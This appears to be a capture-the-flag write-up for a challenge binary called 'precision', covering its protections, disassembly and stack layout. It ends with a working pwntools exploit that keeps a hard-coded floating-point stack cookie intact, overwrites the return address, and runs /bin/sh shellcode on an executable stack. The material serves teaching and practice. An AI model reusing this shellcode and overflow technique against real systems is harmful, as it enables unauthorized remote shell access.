We are given a binary and need to exploit it on the remote system to get the flag.
First things first, let's check what type of protection we are dealing with.
# file precision_a8f6f0590c177948fe06c76a1831e650
precision_a8f6f0590c177948fe06c76a1831e650: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf2c69f92c3f6d68319ee39c0926e84bccdeb0371, not stripped
# /opt/checksec.sh --file precision_a8f6f0590c177948fe06c76a1831e650
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH precision_a8f6f0590c177948fe06c76a1831e650
Seems like no protection at all... sine NX is disabled, it's probably a sack based attack (e.g. overflow).
Surely enough, running the application a few times gives more insight into what we should do.
# ./precision_a8f6f0590c177948fe06c76a1831e650
Buff: 0xbfd01a48
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Got AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# ./precision_a8f6f0590c177948fe06c76a1831e650
Buff: 0xbf83e488
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nope
Looks like an ordinary echo app that just prints back whatever we type in. However, interestingly we get something that looks very much like an address on the stack (0xbf83e488).
This could be the address of the input buffer on the stack - but we'll need to confirm that to be sure.
Another interesting thing is that if we provide a long enough input, we get the message "Nope" instead of our original input.
Time to peek under the hood.
.text:0804851D ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0804851D public main
.text:0804851D main proc near
.text:0804851D
.text:0804851D argc = dword ptr 8
.text:0804851D argv = dword ptr 0Ch
.text:0804851D envp = dword ptr 10h
.text:0804851D
.text:0804851D push ebp
.text:0804851E mov ebp, esp
.text:08048520 and esp, 0FFFFFFF0h
.text:08048523 sub esp, 0A0h
.text:08048529 fld ds:dbl_8048690
.text:0804852F fstp qword ptr [esp+98h]
.text:08048536 mov eax, ds:stdout@@GLIBC_2_0
.text:0804853B mov dword ptr [esp+0Ch], 0 ; n
.text:08048543 mov dword ptr [esp+8], 2 ; modes
.text:0804854B mov dword ptr [esp+4], 0 ; buf
.text:08048553 mov [esp], eax ; stream
.text:08048556 call _setvbuf
.text:0804855B lea eax, [esp+18h]
.text:0804855F mov [esp+4], eax
.text:08048563 mov dword ptr [esp], offset format ; "Buff: %p\n"
.text:0804856A call _printf
.text:0804856F lea eax, [esp+18h]
.text:08048573 mov [esp+4], eax
.text:08048577 mov dword ptr [esp], offset aS ; "%s"
.text:0804857E call ___isoc99_scanf
.text:08048583 fld qword ptr [esp+98h]
.text:0804858A fld ds:dbl_8048690
.text:08048590 fucomip st, st(1)
.text:08048592 fstp st
.text:08048594 jp short loc_80485A9
.text:08048596 fld qword ptr [esp+98h]
.text:0804859D fld ds:dbl_8048690
.text:080485A3 fucomip st, st(1)
.text:080485A5 fstp st
.text:080485A7 jz short loc_80485C1
.text:080485A9
.text:080485A9 loc_80485A9:
.text:080485A9 mov dword ptr [esp], offset s ; "Nope"
.text:080485B0 call _puts
.text:080485B5 mov dword ptr [esp], 1 ; status
.text:080485BC call _exit
.text:080485C1 ; ---------------------------------------------------------------------------
.text:080485C1
.text:080485C1 loc_80485C1:
.text:080485C1 mov eax, str
.text:080485C6 lea edx, [esp+18h]
.text:080485CA mov [esp+4], edx
.text:080485CE mov [esp], eax ; format
.text:080485D1 call _printf
.text:080485D6 leave
.text:080485D7 retn
.text:080485D7 main endp
It looks like we have some sort of primitive version of a stack cookie!
After taking the input, the app check if the stack still contains the value 64.33333 (which is located at dbl_8048690).
The value seems to be: 0x475a31a5 0x40501555
And indeed, the leaked address is the address of our buffer on the stack. Guess we don't need to worry about ASLR :)
Let's take a look at the stack
bfa8:a960|b775bb58|X.u.|
bfa8:a964|00000001|....|
bfa8:a968|00000000|....|
bfa8:a96c|00000001|....|
bfa8:a970|b777d908|..w.|
bfa8:a974|b75db8d0|..].|
bfa8:a978|bfa8aa84|....|
bfa8:a97c|bfa8c6c4|....|ASCII "precision_a8f6f0590c177948fe06c76a1831e650"
bfa8:a980|b76b2a37|7*k.|return to b76b2a37
bfa8:a984|b760b315|..`.|return to b760b315
bfa8:a988|0000002f|/...|
bfa8:a98c|b773bff4|..s.|
bfa8:a990|00000000|....|
bfa8:a994|bfa8aa30|0...|
bfa8:a998|b773cce0|..s.|
bfa8:a99c|08048385|....|return to 08048385
bfa8:a9a0|b776e590|..v.|
bfa8:a9a4|08048420| ...|
bfa8:a9a8|0804a000|....|
bfa8:a9ac|08048632|2...|return to 08048632
bfa8:a9b0|00000001|....|
bfa8:a9b4|bfa8aa84|....|
bfa8:a9b8|bfa8aa8c|....|
bfa8:a9bc|bfa8a9d8|....|
bfa8:a9c0|b760b515|..`.|return to b760b515
bfa8:a9c4|b776e590|..v.|
bfa8:a9c8|475a31a5|.1ZG| <================================== This is the stack cookie
bfa8:a9cc|40501555|U.P@| <================================== This is the stack cookie
bfa8:a9d0|080485e0|....|
bfa8:a9d4|00000000|....|
Since NX is not enabled for the stack, we can execute the shellcode once it is put on the stack.
We only need to:
- keep in mind that at offset 152 we have a stack cookie which we must not overwrite with something else
- jump to the buffer (payload) address on stack and execute our shellcode
- find a shellcode that is getting past _isoc99_scanf
The first two steps are nothing new - I my past posts I have shown how to easily find the offset on which the jump address (step 2) needs to be, so I will not repeat it this time...
A more interesting dilemma is step 3!
I tried generating numerous shellcodes with msfvenom, only to find that my shellcode get's split at various bad characters like: 0x0b, 0x09, 0x20, and many more.
After a lot of trial and error, I finally got this exploit to get pass the _isoc99_scanf function.
After putting it all together, we get the following exploit script:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack, unpack
MAGIC_VALUE_1 = 0x475a31a5
MAGIC_VALUE_2 = 0x40501555
shellcode="\x31\xc0\xb0\x30\x01\xc4\x30\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\xb0\xb0\xc0\xe8\x04\xcd\x80\xc0\xe8\x03\xcd\x80"
conn = remote("localhost", 4444)
# conn = remote("54.173.98.115", 1259)
recieved = conn.recvuntil("\n")
buffer_address = int(recieved[6:], 16)
log.info("Recieved: " + recieved)
log.info("Buffer is at %s" % hex(buffer_address))
esp = buffer_address - 0x18
log.info("ESP is: %s" % hex(esp))
magic_value_address = esp + 0x98
log.info("Magic value is at: %s" % hex(magic_value_address))
log.info("Shellcode length: %s" % len(shellcode))
shellcode_address = buffer_address + 152 + 24
#shellcode_address = shellcode_address-0xa0
log.info("Shellcode is at: %s" % hex(shellcode_address))
payload = shellcode + "A" * (152-24-len(shellcode)) +str(p32(MAGIC_VALUE_1)) + str(p32(MAGIC_VALUE_2)) + "B" * 12 + str(p32(buffer_address))
# payload = "A" * 10
log.info("Sending payload")
conn.sendline(payload)
conn.interactive()